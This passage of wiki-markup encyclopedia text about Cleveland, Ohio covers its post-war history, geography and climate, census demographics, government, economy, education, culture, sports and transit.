Immediately after [[World War II]], the city experienced a brief boom.  In sports, the Indians won the [[1948 World Series]] and the Browns dominated the NFL.  Businesses proclaimed that Cleveland was the &quot;best location in the nation.&quot;  The city's population reached its peak of 914,808, and in 1949 Cleveland was named an [[All-America City Award|All-America City]] for the first time.  By the 1960s, however, heavy industries began to slump and residents sought new housing in the suburbs. The city also began witnessing racial unrest, culminating in the [[Hough Riots]] on [[July 18]]–23, 1966, and the [[Glenville Shootout]] on [[July 23]]–25, 1968. The city's nadir is often considered to be its [[default (finance)|default]] on its loans on [[December 15]], [[1978]], when under Mayor [[Dennis Kucinich]] it became the first major American city to enter default since the Great Depression.  National media began referring to Cleveland as &quot;the mistake by/on the lake&quot; around this time, in reference to both the city's financial difficulties as well as a 1969 fire on the Cuyahoga River where the oil and waste on the river's surface caught on fire. The city has struggled to shed this nickname ever since, though in recent times the national media have been much kinder to the city, using it as the poster child for downtown revitalization and urban renaissance.  

The metropolitan area began a recovery thereafter under Mayors [[George Voinovich]] and [[Michael R. White]]. Redevelopment within the city limits has been strongest in the downtown area near the [[Gateway Sports and Entertainment Complex|Gateway complex]]—consisting of [[Jacobs Field]] and [[Quicken Loans Arena]]—and near the [[Rock and Roll Hall of Fame]] and [[Cleveland Browns Stadium]].  Although Cleveland was hailed by the media as the &quot;Comeback City,&quot; many of the inner-city residential neighborhoods remain troubled, and the public school system continues to experience serious problems. [[Economic development]], retention of young professionals, and capitalizing upon its [[Lake Erie]] waterfront are current municipal priorities.

==Geography and climate==
===Geography===
[[Image:Public Square 1912.jpg|thumb|right|300px|Panorama of Public Square in 1912.]]
Cleveland is located at {{coor dms|41|28|56|N|81|40|11|W|}}{{GR|1}}. According to the [[United States Census Bureau]]{{ref|census}}, the city has a total area of 82.4&amp;nbsp;[[square mile|mi&amp;sup2;]] (213.5&amp;nbsp;[[square metre|km&amp;sup2;]]). 77.6&amp;nbsp;mi&amp;sup2; (201.0&amp;nbsp;km&amp;sup2;) of it is land and 4.8&amp;nbsp;mi&amp;sup2; (12.5&amp;nbsp;km&amp;sup2;) of it is water. The total area is 5.87% water.

The shore of [[Lake Erie]] is 569&amp;nbsp;[[foot (unit of length)|feet]] (173&amp;nbsp;[[metre|m]]) above [[above mean sea level|sea level]]; however, the city lies on a series of irregular bluffs lying roughly parallel to the lake. In Cleveland these bluffs are cut principally by the [[Cuyahoga River]], Big Creek, and Euclid Creek. The land rises quickly from the lakeshore. Public Square, less than a [[mile]] (2 km) inland, sits at an elevation of 650&amp;nbsp;feet (198&amp;nbsp;m), and Hopkins Airport, only five miles (8 km) inland from the lake, is at an elevation of 770&amp;nbsp;feet (235&amp;nbsp;m).

Cleveland shares borders with the following suburbs: [[Bratenahl, Ohio|Bratenahl]], [[Brook Park, Ohio|Brook Park]], [[Brooklyn, Ohio|Brooklyn]], [[Brooklyn Heights, Ohio|Brooklyn Heights]], [[Cleveland Heights, Ohio|Cleveland Heights]], [[Cuyahoga Heights, Ohio|Cuyahoga Heights]], [[East Cleveland, Ohio|East Cleveland]], [[Euclid, Ohio|Euclid]], [[Fairview Park, Ohio|Fairview Park]], [[Garfield Heights, Ohio|Garfield Heights]], [[Lakewood, Ohio|Lakewood]], [[Linndale, Ohio|Linndale]], [[Maple Heights, Ohio|Maple Heights]], [[Newburgh Heights, Ohio|Newburgh Heights]], [[Parma, Ohio|Parma]], [[Rocky River, Ohio|Rocky River]], [[Shaker Heights, Ohio|Shaker Heights]], [[South Euclid, Ohio|South Euclid]], and [[Warrensville Heights, Ohio|Warrensville Heights]].

===Cityscape===
Cleveland's downtown architecture is varied. Many of the city's government and civic buildings, including City Hall, the Cuyahoga County Courthouse, the [[Cleveland Public Library]], and [[Public Auditorium]] are clustered around an open mall and share a common [[neoclassical architecture]]. Built in the early 20th century, they are the result of the [[1903 in architecture|1903]] [[Group Plan]], and constitute one the most complete examples of [[City Beautiful movement|City Beautiful]] design in the United States. The [[Terminal Tower]], dedicated in [[1930 in architecture|1930]], was the tallest building in the United States outside [[New York City]] until [[1967 in architecture|1967]] and the tallest in the city until [[1991 in architecture|1991]]. It is a prototypical [[Beaux-Arts architecture|Beaux-Arts]] [[skyscraper]]. The two newer skyscrapers on Public Square, [[Key Tower]] (currently the tallest building in the state) and the [[BP Building]], combine elements of [[Art Deco]] architecture with [[Postmodern architecture|postmodern]] designs. Another of Cleveland's architectural treasures is [[Cleveland Arcade|The Arcade]] (sometimes called the Old Arcade), a five-story [[arcade (architecture)|arcade]] built in [[1890 in architecture|1890]].{{ref|clevehistory}}

[[Image:Terminal Tower.jpg|thumb|right|300px|The [[Tower City Center|Terminal Tower complex]], with [[the Warehouse District]] and [[Lake Erie]] in the background.]]
Running east from Public Square to University Circle is [[Euclid Avenue]], which at one time rivaled New York's [[Fifth Avenue (Manhattan)|Fifth Avenue]] for prestige and elegance. Known as &quot;Millionaire's Row&quot;, Euclid Avenue was world-renowned as the home of such internationally-known names as [[John D. Rockefeller|Rockefeller]], [[Marcus Hanna|Hanna]], and [[John Hay|Hay]].

The countywide [[Cleveland Metroparks]] system, often referred to as the &quot;Emerald Necklace&quot;, includes four parks in Cleveland. In the Big Creek valley sits the [[Cleveland Metroparks Zoo]], which contains the largest collection of primates of any zoo in the United States. The other three parks are Brookside Park and parts of the Rocky River and Washington Reservations.  Apart from the Metroparks is Cleveland Lakefront State Park, which provides public access to Lake Erie. Among its six parks are Edgewater Park, located between the [[Cleveland Memorial Shoreway|Shoreway]] and Lake Erie just west of downtown, and [[Euclid Beach Park]] and Gordon Park on the east side. The City of Cleveland's Rockefeller Park, with its many Cultural Gardens honoring the city's ethnic groups, follows Doan Brook across the east side.

===Neighborhoods===
[[Downtown Cleveland]] includes mixed-use neighborhoods such as [[the Flats]] and [[the Warehouse District]], which are occupied by industrial and office buildings, and also by restaurants and bars. The number of downtown housing units in the form of [[condominium]]s, [[loft apartment|lofts]], and [[apartment]]s have increased over the past ten years.

[[Image:P1220330.JPG|250px|left|thumb|The west bank of [[the Flats]] and the [[Cuyahoga River]] in [[downtown Cleveland]].]]
Cleveland residents often define themselves in terms of whether they live on the west side or the east side of the [[Cuyahoga River]].{{ref|neighborhoods}} The west side of the city includes the following neighborhoods: Brooklyn Center, Clark-Fulton, Detroit-Shoreway, Cudell, Edgewater, [[Ohio City (Cuyahoga County), Ohio|Ohio City]], [[Old Brooklyn]], Stockyards, West Boulevard, and the four neighborhoods colloquially known as [[West Park, Cleveland|West Park]]: Kamm's Corners, Jefferson, Puritas-Longmead, and Riverside. The east side comprises the following neighborhoods: Buckeye-[[Shaker Square]], Central, [[Collinwood]], Corlett, Euclid-Green, Fairfax, Forest Hills, Glenville, Goodrich-Kirtland Park, Hough, Kinsman, Lee-Miles, Mount Pleasant, Nottingham, St. Clair-Superior, Union-Miles Park, [[University Circle]], [[Little Italy, Cleveland|Little Italy]], and Woodland Hills. Three neighborhoods in the Cuyahoga Valley are sometimes referred to as the south side: Industrial Valley, [[Slavic Village]] (North and South Broadway), and Tremont.

Several inner-city neighborhoods have begun to [[gentrification|gentrify]] in recent years.  Areas on both the west side (Ohio City, Tremont, and Edgewater) and the east side (Hough, Fairfax, and Little Italy) have been successful in attracting increasing numbers of artists, gays, and young professionals, which in turn is spurring new residential development.{{ref|gentrification}} Furthermore, a live-work [[zoning]] overlay for the city's near east side has facilitated the transformation of old industrial buildings into loft spaces for artists.{{ref|zoning}}

===Climate===
The shoreline is very close to due east-west from the mouth of the Cuyahoga west to [[Sandusky, Ohio|Sandusky]], but at the mouth of the Cuyahoga it turns sharply northeast. This feature is the principal contributor to the [[lake effect snow]] that is a mainstay of Cleveland (especially east side) weather from mid-November until the surface of Lake Erie freezes, usually in late January or early February. The lake effect causes snowfall totals to range greatly across the city; while Hopkins Airport has only reached 100&amp;nbsp;inches (254&amp;nbsp;cm) of snowfall in a given season three times since 1968{{ref|snowfall}}, seasonal totals approaching or exceeding 100&amp;nbsp;inches are not uncommon in an area known as the &quot;[[Snowbelt|Snow Belt]]&quot;, extending from the east side of Cleveland proper through the eastern suburbs and up the Lake Erie shore as far as [[Buffalo, New York|Buffalo]].

The all-time record high in Cleveland of 104 °[[Fahrenheit|F]] (40 °[[Degree Celsius|C]]) was established on [[June 25]], [[1988]], and the all-time record low of &amp;minus;20 °F (&amp;minus;29 °C) was set on [[January 19]], [[1994]].{{ref|temperature}} On average, July is the warmest month with a mean temperature of 71.9 °F (22.2 °C), and January, with a mean temperature of 25.7 °F (&amp;minus;3.5 °C), is the coldest. Normal yearly [[precipitation (meteorology)|precipitation]] based on the 30-year average from 1961 to 1990 is 36.6&amp;nbsp;[[inch]]es (930&amp;nbsp;[[1 E-3 m|mm]]).{{ref|rainfall}}

==Demographics==
{| class=&quot;toccolours&quot; align=&quot;right&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin:0 0 1em 1em; font-size: 95%;&quot;
|-
! colspan=&quot;3&quot; bgcolor=&quot;#ccccff&quot; align=&quot;center&quot;| Historical populations{{ref|census2}}
|-
! align=&quot;center&quot;| Census&lt;br&gt;year !! align=&quot;right&quot;| Population !! align=&quot;right&quot;| Rank
|-
| colspan=&quot;3&quot;|&lt;hr /&gt;
|-
| align=&quot;center&quot;| [[United States Census, 1820|1820]] 	 
| align=&quot;right&quot;| 606 	 
|
|-
| align=&quot;center&quot;| [[United States Census, 1830|1830]] 	 
| align=&quot;right&quot;| 1,075 	 
|
|-
| align=&quot;center&quot;| [[United States Census, 1840|1840]]
| align=&quot;right&quot;| 6,071
| align=&quot;right&quot;| 67
|-
| align=&quot;center&quot;| [[United States Census, 1850|1850]]
| align=&quot;right&quot;| 17,034
| align=&quot;right&quot;| 41
|-
| align=&quot;center&quot;| [[United States Census, 1860|1860]]
| align=&quot;right&quot;| 43,417
| align=&quot;right&quot;| 21
|-
| align=&quot;center&quot;| [[United States Census, 1870|1870]]
| align=&quot;right&quot;| 92,829
| align=&quot;right&quot;| 15
|-
| align=&quot;center&quot;| [[United States Census, 1880|1880]]
| align=&quot;right&quot;| 160,146
| align=&quot;right&quot;| 11
|-
| align=&quot;center&quot;| [[United States Census, 1890|1890]]
| align=&quot;right&quot;| 261,353
| align=&quot;right&quot;| 10
|-
| align=&quot;center&quot;| [[United States Census, 1900|1900]]
| align=&quot;right&quot;| 381,768
| align=&quot;right&quot;| 7
|-
| align=&quot;center&quot;| [[United States Census, 1910|1910]]
| align=&quot;right&quot;| 560,663
| align=&quot;right&quot;| 9
|-
| align=&quot;center&quot;| [[United States Census, 1920|1920]]
| align=&quot;right&quot;| 796,841
| align=&quot;right&quot;| 5
|-
| align=&quot;center&quot;| [[United States Census, 1930|1930]]
| align=&quot;right&quot;| 900,429
| align=&quot;right&quot;| 6
|-
| align=&quot;center&quot;| [[United States Census, 1940|1940]]
| align=&quot;right&quot;| 878,336
| align=&quot;right&quot;| 6
|-
| align=&quot;center&quot;| [[United States Census, 1950|1950]]
| align=&quot;right&quot;| 914,808
| align=&quot;right&quot;| 7
|-
| align=&quot;center&quot;| [[United States Census, 1960|1960]]
| align=&quot;right&quot;| 876,050
| align=&quot;right&quot;| 8
|-
| align=&quot;center&quot;| [[United States Census, 1970|1970]]
| align=&quot;right&quot;| 750,903
| align=&quot;right&quot;| 10
|-
| align=&quot;center&quot;| [[United States Census, 1980|1980]]
| align=&quot;right&quot;| 573,822
| align=&quot;right&quot;| 18
|-
| align=&quot;center&quot;| [[United States Census, 1990|1990]]
| align=&quot;right&quot;| 505,616
| align=&quot;right&quot;| 23
|-
| align=&quot;center&quot;| [[United States Census, 2000|2000]]
| align=&quot;right&quot;| 478,403
| align=&quot;right&quot;| 33
|}

As of the [[United States Census, 2000|2000 Census]]{{GR|2}} , there were 478,403 people, 190,638 [[household]]s, and 111,904 families residing in the city.  The [[population density]] was 2,380.9/km&amp;sup2; (6,166.5/mi&amp;sup2;).  There were 215,856 housing units at an average density of 1,074.3/km&amp;sup2; (2,782.4/mi&amp;sup2;).  The racial makeup of the city was 41.49% [[White (U.S. Census)|White]], 50.99% [[African American (U.S. Census)|Black]] or [[Race (U.S. Census)|African American]], 0.30% [[Native American (U.S. Census)|Native American]], 1.35% [[Asian (U.S. Census)|Asian]], 0.04% [[Pacific Islander (U.S. Census)|Pacific Islander]], 3.59% from [[Race (U.S. Census)|other races]], and 2.24% from two or more races.  7.26% of the population was [[Hispanic American|Hispanic]] or [[Latino (U.S. Census)|Latino]] of any race.  Ethnic groups include [[Germans|German]] (9.2%), [[Irish people|Irish]] (8.2%), [[Poles|Polish]] (4.8%), [[Italian people|Italian]] (4.6%), and [[English people|English]] (2.8%).

[[Image:DSCN4532 clevelandtrueholiness e2.jpg|250px|left|thumb|Built as the Second Church of Christ Scientists, this building on Cleveland's East Side now serves a primarily [[African American]] congregation. Cleveland's diverse cultural populations have left their mark on the city through architecture, especially with many of the older church structures which have new life serving succesor congregations.]]
There were 190,638 households out of which 29.9% have children under the age of 18 living with them, 28.5% were [[Marriage|married couples]] living together, 24.8% had a female householder with no husband present, and 41.3% were nonfamilies. 35.2% of all households were made up of individuals and 11.1% had someone living alone who is 65 years of age or older.  The average household size was 2.44 and the average family size was 3.19.  The population was spread out with 28.5% under the age of 18, 9.5% from 18 to 24, 30.4% from 25 to 44, 19.0% from 45 to 64, and 12.5% who are 65 years of age or older. The median age was 33 years.  For every 100 females there were 90.0 males. For every 100 females age 18 and over, there were 85.2 males.

The median income for a household in the city was $25,928, and the median income for a family was $30,286. Males had a median income of $30,610 versus $24,214 for females. The [[per capita income]] for the city was $14,291. 26.3% of the population and 22.9% of families were below the [[poverty line]]. Out of the total population, 37.6% of those under the age of 18 and 16.8% of those 65 and older were living below the poverty line.

Cleveland was hit hard in the 1960s and early 1970s by [[white flight]] and [[suburbanization]], further exacerbated by the [[desegregation busing|busing-based]] [[desegregation]] of Cleveland schools required by the [[Supreme Court of the United States|United States Supreme Court]]. Although busing ended in the 1990s, Cleveland continued to slide into [[poverty]], reaching a nadir in 2004 when it was named the poorest large city in the [[United States]].{{ref|poorest}} The 2005 rankings announced the city had dropped from first in poverty to twelfth, with the rate dropping from 31.3% to 23.2%.{{ref|poorest2}}

==Government and politics==
Cleveland's position as a center of manufacturing established it as a hotbed of union activity early in its history. This contributed to a political [[Progressivism in the United States|progressivism]] that has influenced Cleveland politics to the present. While other parts of Ohio, particularly [[Cincinnati, Ohio|Cincinnati]] and the southern portion of the state, have historically supported the [[Republican Party (United States)|Republican Party]], Cleveland commonly breeds the strongest support in the state for the [[Democratic Party (United States)|Democrats]]; Cleveland's two representatives in the [[United States House of Representatives|House of Representatives]] are Democrats: [[Dennis Kucinich]] and [[Stephanie Tubbs Jones]]. During the [[U.S. Presidential election, 2004|2004 Presidential election]], although [[George W. Bush]] carried Ohio, [[John Kerry]] carried Cuyahoga County, which gave him the strongest support in the state.

The city of Cleveland operates on the [[Mayor-council government#Strong-Mayor Form|mayor-council (strong mayor)]] form of government. The mayor is the [[executive (government)|chief executive]] of the city, and the office is currently held by [[Frank G. Jackson]].  Previous mayors of Cleveland included progressive Democrat [[Tom L. Johnson]], Republican [[United States Senate|Senator]] [[George Voinovich|George V. Voinovich]], two-time Democratic Ohio governor and senator [[Frank J. Lausche]], and [[Carl B. Stokes]], the first [[African American]] mayor of a major city.

{{see also|List of Mayors of Cleveland, Ohio|Cleveland City Council|Notable Cleveland politicians}}

==Economy==
[[Image:Cleveland Skyline.jpg|thumb|right|250px|View of [[downtown Cleveland]] from [[Lake Erie]].]]
Cleveland's location on the [[Cuyahoga River]] and [[Lake Erie]] proved providential in the growth of the city and its industry. Cleveland experienced explosive growth after the opening of the [[Ohio and Erie Canal]], establishing the city as one of the manufacturing centers of America. [[Steel]] and many other manufactured goods were major industries.

The city was hit hard by the fall of manufacturing, but the city has diversified its economy to include service-based industries. Cleveland is the corporate [[headquarters]] of many large companies such as [[National City Corporation]], [[Eaton Corporation]], [[Forest City Enterprises]], [[Sherwin-Williams Company]], and [[Key Bank|KeyCorp]]. [[NASA]] maintains a facility in Cleveland, the [[Glenn Research Center]].  [[Jones Day]], one of the largest law firms in the world, traces its origins to Cleveland, and its Cleveland office remains the firm's largest.

Cleveland has also become a world leader in [[health care]] and [[health science]]s. The world-famous [[Cleveland Clinic]], the area's largest employer, is one of the highest-ranked hospitals in the United States as tabulated by ''[[U.S. News and World Report]]''.{{ref|ccusnews}}  Cleveland's healthcare industry also includes [[University Hospitals of Cleveland]], a noted competitor of the Clinic's which is ranked #18 in cancer research{{ref|uhusnews}}, and [[MetroHealth]] medical center.

Cleveland is emerging as a leader in [[biotechnology]] and [[fuel cell]] research, led by [[Case Western Reserve University]], the Cleveland Clinic, and University Hospitals of Cleveland. Cleveland is now one of the top areas in receiving seed money for biotech start-ups and research. Case Western Reserve, the Clinic, and University Hospitals have recently announced plans to build a large biotechnology research center and [[Business incubator|incubator]] on the site of the former Mt. Sinai Medical Center, creating a research campus to stimulate biotech [[startup company|startup companies]] that can be spun off from research conducted in the city.

Additionally, city leaders stepped up efforts to cultivate a technology sector in its economy in the early 2000s. Former Mayor [[Jane L. Campbell]] appointed a &quot;tech czar&quot;, whose job is to actively recruit tech companies to the downtown office market, offering connections to the high-speed fiber networks that run underneath downtown streets in several &quot;high-tech offices&quot; focused on the [[Euclid Avenue]] area. [[Cleveland State University]] hired a Technology Transfer Officer to work full time on cultivating technology transfers from CSU research to marketable ideas and companies in the Cleveland area, and recently announced the appointment of a Vice President for Economic Development that will be working to leverage the university's assets in expanding the city's economy. Case Western Reserve University is also involved in technology initiatives such as the [http://www.onecleveland.org OneCleveland project], a high-speed fiber optic network connecting all nonprofits in the area at high speeds, intended to breed collaboration among the area's major research centers and produce jobs for the city and region. OneCleveland's work attracted the attention of [[Intel]] and in mid-2005, Cleveland was  named an Intel &quot;Worldwide Digital Community&quot; with [[Corpus Christi, Texas]], [[Philadelphia, Pennsylvania]], and [[Taipei|Taipei, Taiwan]]. This distinction will eventually bring to the region around [[United States dollar|$]]12 million for use in marketing and expanding regional technology partnerships, creating a city-wide [[WiFi]] network, and developing a tech economy.  Progress has been delayed by Intel's recent focus on New Orleans and Cleveland's mayoral election, however, Mayor Jackson has pledged to continue the work on the Digital Communities Initiative.{{ref|Intel_Delays}}  In addition to this Intel initiative, in January 2006 a New York-based think tank, the Intelligent Community Forum, selected Cleveland as one of its seven finalists for the &quot;Intelligent Community of the Year&quot; award, the only city in the United States that was chosen.  The group announced that the city was nominated due to the OneCleveland network and its potential broadband applications.{{ref|smartcity}}

==Education==
[[Image:Adelbert Hall.jpg|thumb|right|250px|Adelbert Hall on the campus of [[Case Western Reserve University]].]]
Cleveland is home to a number of colleges and universities. Most prominent among these is [[Case Western Reserve University]], a world-renowned research and teaching institution based at University Circle. Case is a private university, the top rated university in Ohio as rated by ''[[U.S. News &amp; World Report]]'', and enrolls more graduate students than undergraduates, though the school's latest freshman class is among the largest in Case's history. University Circle is also home to the [[Cleveland Institute of Art]], the [[Cleveland Institute of Music]], and the [[Ohio College of Podiatric Medicine]]. [[Cleveland State University]], based in downtown Cleveland, is the city's public four-year university. In addition to CSU, downtown hosts the metropolitan campus of [[Cuyahoga Community College]], the county's two-year higher education institution, as well as [[Myers University]], a private four school year that focuses on business education.

The [[Cleveland Municipal School District]] is an underperforming urban district, though test scores improved under mayoral control and former school CEO [[Barbara Byrd-Bennett]]. It is the only district in Ohio that is under direct control of the mayor, who appoints a school board.  The mayor was given control of the city schools after a series of elected school boards were deemed ineffective by city voters.  The school board appoints a Chief Executive Officer, the equivalent of a district Superintendent, who is responsible for district management. During Byrd-Bennett's tenure, the system improved in academics and attendance and passed a $1.2 billion school building construction/replacement issue; however, it failed numerous times to pass an operating levy, and currently faces large budget shortfalls and the possibility of slipping back into &quot;academic emergency&quot; as rated by the Ohio Department of Education in 2005. 
{{see also|List of Cleveland Public Schools}}

==Culture==
[[Image:DSCN4568_clevelandrockandrollhallofame_e.jpg|right|thumb|250px|The [[Rock and Roll Hall of Fame]] on the coast of [[Lake Erie]].]]
Five&amp;nbsp;miles (8&amp;nbsp;km) east of downtown Cleveland is [[University Circle]], a 500-acre (2&amp;nbsp;km&amp;sup2;) concentration of cultural, educational, and medical institutions, including [[Case Western Reserve University]], [[Severance Hall]], [[University Hospitals of Cleveland|University Hospitals]], and the [[Cleveland Museum of Art]]. Cleveland is also home to the [[I. M. Pei]]-designed [[Rock and Roll Hall of Fame]], located on a Lake Erie harbor immediately north of downtown. Neighboring attractions include [[Cleveland Browns Stadium]], the [[Great Lakes Science Center]], the [[Steamship William G. Mather Maritime Museum|Steamship Mather Museum]], and the [[USS Cod (SS-224)|USS ''Cod'']], a [[World War II]] [[Gato class submarine|submarine]].

Cleveland is home to [[Playhouse Square Center]], the second largest performing arts center in the United States behind [[New York City|New York]]'s [[Lincoln Center]]. Playhouse Square includes the State, Palace, Allen, Hanna, and Ohio theaters within what is known as the Theater District of Downtown Cleveland. Playhouse Square's resident performing arts companies include the [[Cleveland Opera]], [[Ohio Ballet]], and the [[Great Lakes Theater Festival]]. The center also hosts various [[musical theater|Broadway musical]]s, special concerts, speaking engagements, and other events throughout the year. One Playhouse Square, now the headquarters for Cleveland's [[public broadcasting|public broadcasters]], was originally used as the broadcast studios of [[WKNR#WJW Radio|WJW Radio]], where [[disc jockey]] [[Alan Freed]] purportedly first coined the term &quot;[[rock and roll]]&quot;.

Additionally, Cleveland is home to the [[Cleveland Orchestra]], widely considered one of the finest [[orchestra]]s in the world, and often referred to as the finest in the United States.{{ref|time}} It is one of the &quot;[[Big Five (orchestras)|Big Five]]&quot; major orchestras in the United States. The Orchestra plays in [[Severance Hall]] during the winter and at [[Blossom Music Center]] during the summer.

[[Image:Free Stamp.jpg|thumb|right|250px|The ''Free Stamp'' sculpture at [[Downtown Cleveland|downtown]]'s Willard Park, by [[Claes Oldenburg]] and [[Coosje van Bruggen]].]]
Cleveland is home to many [[festival]]s throughout the year. Cultural festivals such as the annual [[Cleveland Feast of the Assumption Festival|Feast of the Assumption]] in the Little Italy neighborhood and the [[Cleveland Polish Festival|Polish Festival]] in the Slavic Village neighborhood are popular events. Vendors at the [[West Side Market]] in Ohio City offer many different ethnic foods for sale. Cleveland hosts an annual [[parade]] on [[Saint Patrick's Day]] that brings thousands to the streets of downtown.

In addition to the cultural festivals, Cleveland also hosts the [[CMJ Rock Hall Music Fest]], which features national and local acts, including both established artists and up-and-coming acts. The city recently incorporated an annual art and technology festival, known as [[Ingenuity Festival|Ingenuity]], which features a combination of art and technology in various installations and performances throughout lower Euclid Avenue. The [[Cleveland International Film Festival]] has been held annually since 1977, and its 11-day run draws about 43,000 people. Cleveland also hosts an annual holiday display lighting and celebration, dubbed Winterfest, which is held downtown at the city's historic hub, Public Square.

Cleveland also served as the location for several noteworthy movies, including ''[[The Fortune Cookie]]'' ([[1967 in film|1967]]) with [[Walter Matthau]] and [[Jack Lemmon]], the [[Academy Award]]-winning ''[[The Deer Hunter]]'' ([[1978 in film|1978]]), and the holiday favorite ''[[A Christmas Story]]'' ([[1983 in film|1983]]).{{ref|imdb}} Cleveland is the lifelong home of cartoonist [[Harvey Pekar]] and setting for most of his autobiographical comic books.

===Media===
{{main|Media in Cleveland, Ohio}}
Cleveland is served in print by ''[[The Plain Dealer (newspaper)|The Plain Dealer]]'', the city's sole remaining daily [[newspaper]]. The competing ''[[Cleveland Press]]'' ceased publication on [[June 17]], [[1982]], and the ''[[Cleveland News]]'' ended its run in 1960.  Cleveland also supports several [[alternative weekly]] publications, including the ''[[Free Times]]'' and ''[[Cleveland Scene]]''.  

Cleveland is ranked as the 16th largest television market by [[Nielsen Media Research]].{{ref|nielsen}} The market is served by stations affiliated with major American networks including [[WKYC|WKYC 3]] ([[NBC]]), [[WEWS|WEWS 5]] ([[American Broadcasting Company|ABC]]), [[WJW|WJW 8]] ([[Fox Broadcasting Company|FOX]]), [[WOIO|WOIO 19]] ([[CBS]]), [[WUAB|WUAB 43]] ([[UPN]]), and [[WBNX|WBNX 55]] ([[The WB Television Network|WB]]). Cleveland is also served by [[WVPX|WVPX 23]] ([[I (TV network)|i]]) and Spanish-language channel [[WQHS-TV|WQHS 61]] ([[Univision]]). [[WVIZ|WVIZ 25]] and [[WEAO|WEAO 49]] are members of [[Public Broadcasting Service|PBS]]. A Cleveland first in television was ''[[The Morning Exchange]]'' program on WEWS, which defined the morning show format, and served as the inspiration for ''[[Good Morning America]]''.

===Sports===
[[Image:Jacobs field scoreboard.jpg|right|thumb|250px|[[Jacobs Field]], home of the [[Cleveland Indians]], features the largest scoreboard in North America.]]
Cleveland's [[professional sports]] teams include the [[Cleveland Indians]] ([[Major League Baseball]]), [[Cleveland Browns]] ([[National Football League]]), [[Cleveland Cavaliers]] ([[National Basketball Association]]), and [[Cleveland Barons]] ([[American Hockey League]]). Annual sporting events held in Cleveland include the [[Champ Car]] [[Grand Prix of Cleveland]], the [[Cleveland Marathon]], and the [[Ohio Classic]] [[college football]] game. The city hosted the [[Gravity Games]], an [[extreme sport]]s series, from 2002 to 2004. Local sporting facilities include [[Jacobs Field]], [[Cleveland Browns Stadium]], [[Quicken Loans Arena]], and the [[Wolstein Center]].

Cleveland has long been known as a &quot;[[American football|football]] town&quot;, and the Browns dominated the NFL from [[1950 NFL season|1950]] to [[1955 NFL season|1955]]. The city's franchise is one of the most storied in football, though it last won an [[List of NFL champions|NFL championship]] in [[1964 NFL season|1964]] and has never appeared in the [[Super Bowl]]. The Cleveland Indians last reached the [[World Series]] in [[1995 World Series|1995]] and [[1997 World Series|1997]], though they lost to the [[Atlanta Braves]] and [[Florida Marlins]], respectively, and have not won the series since [[1948 World Series|1948]]. Between 1995 and 2001, Jacobs Field sold out for 455 consecutive games, a Major League Baseball record. The Cleveland Cavaliers are experiencing a renaissance with Cleveland fans due to [[LeBron James]], a native of nearby Akron and the number one overall [[2003 NBA Draft|draft pick of 2003]]. The city's recent lack of success in sports have earned it a reputation of being a cursed sports city, which [[ESPN]] validated by proclaiming Cleveland as its &quot;most tortured sports city&quot; in 2004.{{ref|espn}}

At the 2005 [[Major League Soccer]] [[Major League Soccer All-Star Game|All-Star Game]] in [[Columbus, Ohio|Columbus]], MLS commissioner [[Don Garber]] announced that Cleveland was one of several top areas in contention for an [[expansion team]] in 2007. Cleveland fielded an [[National Hockey League|NHL]] team, the [[Cleveland Barons (NHL)|Cleveland Barons]], from [[1976-77 NHL season|1976]] to [[1977-78 NHL season|1978]], which was later merged into the [[Minnesota North Stars]]. The city remains without major-league hockey to the present, although today's Cleveland Barons, the AHL affiliate of the [[San Jose Sharks]], maintains a tradition of professional hockey in Cleveland [[Cleveland Barons (1937-1972)|stretching back to 1937]].{{ref|barons}}  The Barons will move to [[Worcester, Massachusetts]] after the 2005-2006 season. However, Cavaliers owner [[Dan Gilbert]] has announced his intention to return hockey to Quicken Loans Arena.

{| class=&quot;wikitable&quot;
|- bgcolor=&quot;#CCCCCC&quot;
! Club !! Sport !! Founded !! League !! Venue !! Logo
|-
| [[Cleveland Indians]]
| [[Baseball]]
| [[1901]]
| [[Major League Baseball]]''':''' [[American League|AL]]
| [[Jacobs Field]]
| [[Image:Indians logo.gif|40px|Cleveland Indians Logo]]
|-
| [[Cleveland Browns]]
| [[Football]]
| [[1946]]
| [[National Football League]]''':''' [[American Football Conference|AFC]]
| [[Cleveland Browns Stadium]]
| [[Image:Cleveland_Browns_helmet_rightface.png|40px|Cleveland Browns Logo]]
|-
| [[Cleveland Cavaliers]]
| [[Basketball]]
| [[1970]]
| [[National Basketball Association]]
| [[Quicken Loans Arena]]
| [[Image:ClevelandCavaliersMainLogo.gif|40px|Cleveland Cavaliers Logo]]
|-  	 
| [[Cleveland Barons]] 	 
| [[Ice Hockey]] 	 
| [[2001]] 	 
| [[American Hockey League]] 	 
| [[Quicken Loans Arena]] 	 
| [[Image:Cleveland barons 200x200.png|40px|Cleveland Barons Logo]]
|-
| [[Cleveland Fusion]]
| [[Football]]
| [[2002]]
| [[National Women's Football Association]]
| [[Bedford High School]]
| [[Image:LogoFusion.gif|40px|Cleveland Fusion Logo]]
|-
| [[Cleveland Lions]]
| [[Football]]
| [[1976]]
| [[Mid Continental Football League]]
| N/A
| [[Image:ClevelandLions4.PNG|40px|Cleveland Lions Logo]]
|-
|}

==Transportation==
[[Image:Cuyahoga river and downtown cleveland.jpg|right|thumb|250px|A collection of bridges crossing the Cuyahoga River in downtown Cleveland. The low-level bridges are [[drawbridge|drawbridges]], while the high-level bridge in the background is fixed.]]
The city is home to two [[airport]]s. Cleveland [[Hopkins International Airport]] is the city's major facility and a large [[international airport]] that serves as one of three main [[airline hub|hub]]s for [[Continental Airlines]]. It holds the distinction of having the first airport-to-downtown rapid transit connection, established in 1968. In 1930, the airport was the site of the first airfield lighting system and the first air traffic [[control tower]]. In addition to Hopkins, Cleveland is served by [[Burke Lakefront Airport]], on the north shore of downtown between Lake Erie and the [[Cleveland Memorial Shoreway|Shoreway]]. Burke is primarily a commuter and business airport.

Cleveland currently has a [[bus]] and [[urban rail transit|rail]] [[public transport|mass transit]] system operated by the [[Greater Cleveland Regional Transit Authority]], also known as &quot;RTA&quot;. The rail portion is officially called the [[Cleveland Rapid Transit]], but is better known as ''The Rapid''. It consists of two [[rapid transit|light rail]] lines, known as the Green and Blue Lines, and a [[heavy rail]] line, the Red Line. RTA is currently installing a [[bus rapid transit]] line, coined the &quot;Silver Line&quot;, which will run along [[Euclid Avenue]] from downtown to University Circle.{{ref|rta}}

